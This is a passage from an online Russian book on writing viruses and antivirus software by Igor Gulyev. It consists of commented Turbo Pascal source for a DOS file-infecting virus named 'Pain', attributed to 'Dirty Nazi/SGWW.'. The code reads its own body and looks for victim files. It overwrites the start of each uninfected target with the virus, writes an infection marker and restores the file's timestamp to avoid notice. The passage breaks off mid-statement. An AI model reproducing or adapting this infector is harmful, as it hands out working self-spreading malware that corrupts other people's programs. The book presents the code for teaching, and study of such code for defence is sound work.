Создаем вирус и антивирус. Игорь Гульев
Читать онлайн книгу.программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]=’Pain!’;
{Длина получаемого при компиляции EXE−файла}
VirLen=4208;
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
InfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
VirIdentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
VirBody: File;
{Еще одна файловая переменная – хотя без нее можно было
обойтись, так будет понятнее}
Target: File;
{Для имени найденного файла}
TargetFile: PathStr;
{Буфер для тела вируса}
VirBuf : Array [1.VirLen] of Char;
{Для даты/времени файла}
Time : LongInt;
{Счетчик количества инфицированных файлов}
InfFiles : Byte;
DirInfo : SearchRec;
LabelBuf : Array [1.5] of Char;
{Инициализация}
procedure Init;
begin
LabelBuf[1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3];
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
{Обнуляем счетчик количества инфицированных файлов}
InfFiles:=0;
{Связываем файловую переменную VirBody с именем программы,
из которой стартовали}
Assign(VirBody, ParamStr(0));
{Открываем файл с recsize=1 байту}
Reset(VirBody, 1);
{Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody, VirBuf, VirLen);
{Закрываем файл}
Close(VirBody);
end;
{Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
{Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
{Пока будем считать, что вируса нет}
VirusPresent:=False;
{Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
{Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
{Считываем 5 байт – если файл уже заражен,
там находится метка вируса}
BlockRead(Target, VirIdentifier, 5);
If VirIdentifier=VirLabel Then
{Если метка есть, значит есть и вирус}
VirusPresent:=True;
end;
{Процедура заражения}
procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time;
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target,